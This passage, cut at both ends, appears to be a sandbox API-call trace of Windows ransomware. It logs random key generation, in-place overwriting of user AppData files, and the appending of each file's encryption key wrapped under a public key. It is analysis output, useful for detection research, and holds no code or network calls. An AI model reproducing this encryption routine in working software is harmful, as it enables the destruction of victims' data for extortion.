lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.393] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.393] SetFilePointer (in: hFile=0x10a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.393] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.393] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.393] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.395] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.395] CloseHandle (hObject=0x10a0) returned 1 [0160.396] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0160.397] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0160.397] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.399] ReadFile (in: hFile=0x10a0, lpBuffer=0x31e6008, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x31e6008*, lpNumberOfBytesRead=0x2e1f9bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.437] SetFilePointer (in: hFile=0x10a0, lDistanceToMove=-262144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.437] WriteFile (in: hFile=0x10a0, lpBuffer=0x3226010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3226010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.445] SetFilePointer (in: hFile=0x10a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40000 [0160.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.446] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.447] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.447] CloseHandle (hObject=0x10a0) returned 1 [0160.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0160.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0160.449] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.449] ReadFile (in: hFile=0x10a0, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.449] SetFilePointer (in: hFile=0x10a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.449] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.449] SetFilePointer (in: hFile=0x10a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.450] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.450] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.451] CloseHandle (hObject=0x10a0) returned 1 [0160.452] WriteFile (in: hFile=0x10ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.453] CloseHandle (hObject=0x10ac) returned 1 [0160.455] WriteFile (in: hFile=0x10ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.456] CloseHandle (hObject=0x10ac) returned 1 [0160.456] WriteFile (in: hFile=0x10ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.457] CloseHandle (hObject=0x10ac) returned 1 [0160.457] WriteFile (in: hFile=0x10ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.458] CloseHandle (hObject=0x10ac) returned 1 [0160.459] WriteFile (in: hFile=0x10b0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.460] CloseHandle (hObject=0x10b0) returned 1 [0160.488] WriteFile (in: hFile=0x10b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.489] CloseHandle (hObject=0x10b8) returned 1 [0160.491] WriteFile (in: hFile=0x10b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.492] CloseHandle (hObject=0x10b8) returned 1 [0160.492] WriteFile (in: hFile=0x10b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.493] CloseHandle (hObject=0x10b8) returned 1 [0160.494] WriteFile (in: hFile=0x10b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.495] CloseHandle (hObject=0x10b8) returned 1 [0160.495] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0160.495] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0160.495] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin.LOG2", dwFileAttributes=0x80) returned 1 [0160.496] ReadFile (in: hFile=0x10b8, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.541] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.541] WriteFile (in: hFile=0x10b8, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.554] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.554] WriteFile (in: hFile=0x10b8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.556] WriteFile (in: hFile=0x10b8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.556] CloseHandle (hObject=0x10b8) returned 1 [0160.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0160.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0160.563] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin.LOG1", dwFileAttributes=0x80) returned 1 [0160.566] ReadFile (in: hFile=0x10b8, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.568] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.568] WriteFile (in: hFile=0x10b8, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.568] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.569] WriteFile (in: hFile=0x10b8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.569] WriteFile (in: hFile=0x10b8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.570] CloseHandle (hObject=0x10b8) returned 1 [0160.572] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0160.572] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0160.572] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin", dwFileAttributes=0x80) returned 1 [0160.572] ReadFile (in: hFile=0x10b8, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.574] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.575] WriteFile (in: hFile=0x10b8, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.575] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.575] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.575] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.576] WriteFile (in: hFile=0x10b8, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.576] WriteFile (in: hFile=0x10b8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.577] CloseHandle (hObject=0x10b8) returned 1 [0160.579] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0160.579] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0160.579] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0160.579] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0160.579] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0160.579] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0160.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0160.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0160.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0160.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0160.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.581] ReadFile (in: hFile=0x10c0, lpBuffer=0x5c3468, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.581] SetFilePointer (in: hFile=0x10c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.581] WriteFile (in: hFile=0x10c0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.581] SetFilePointer (in: hFile=0x10c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.581] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.581] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.582] WriteFile (in: hFile=0x10c0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.583] WriteFile (in: hFile=0x10c0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.583] CloseHandle (hObject=0x10c0) returned 1 [0160.589] WriteFile (in: hFile=0x10cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.590] CloseHandle (hObject=0x10cc) returned 1 [0160.593] WriteFile (in: hFile=0x10cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.595] CloseHandle (hObject=0x10cc) returned 1 [0160.595] WriteFile (in: hFile=0x10cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.597] CloseHandle (hObject=0x10cc) returned 1 [0160.597] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0160.597] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.597] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.598] ReadFile (in: hFile=0x10e0, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.601] SetFilePointer (in: hFile=0x10e0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.601] WriteFile (in: hFile=0x10e0, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.601] SetFilePointer (in: hFile=0x10e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.601] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.602] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.602] WriteFile (in: hFile=0x10e0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.602] WriteFile (in: hFile=0x10e0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.602] CloseHandle (hObject=0x10e0) returned 1 [0160.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0160.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0160.618] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.618] ReadFile (in: hFile=0x10e0, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.618] SetFilePointer (in: hFile=0x10e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.619] WriteFile (in: hFile=0x10e0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.619] SetFilePointer (in: hFile=0x10e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.619] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.619] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.619] WriteFile (in: hFile=0x10e0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.620] WriteFile (in: hFile=0x10e0, lpBuffer=0x5c34b8*, 